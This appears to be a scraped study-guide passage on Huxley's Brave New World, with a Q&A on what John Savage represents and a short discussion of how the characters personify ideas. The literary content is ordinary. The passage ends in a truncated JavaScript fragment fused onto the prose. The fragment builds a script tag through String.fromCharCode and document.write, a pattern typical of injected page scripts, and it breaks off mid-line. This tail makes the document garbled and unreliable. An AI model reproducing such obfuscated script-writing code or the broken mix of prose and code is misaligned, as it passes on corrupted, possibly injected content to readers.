What traits of humanity does John Savage represent in the novel?
John Savage represents humanity’s base desire for beauty. His love of Shakespeare – the ultimate achievement in art and beauty, according to Huxley – represents his desire for aesthetic transcendence in the human soul. John shows the reader how beauty can come from tragedy and how turmoil and unhappiness are necessary conditions for great art. • Discuss Huxley’s use of character development in the novel. Like many novels that depict dystopian futures, Huxley’s novel relies less on character development than it does on the personification of social and political thought in the names, attitudes, traits, and flaws of each character. For instance, Bernard Marx personifies the unrest and hubris of socialist thought. The reader should not understand each character for their personality so much as for the thoughts and ideas that they represent. rnum=Math.round(Math.random() * 100000); ts=String.fromCharCode(60); if (window.self != window.top) { nf=” } else { nf=’NF/’ }; document.write(ts+’sc
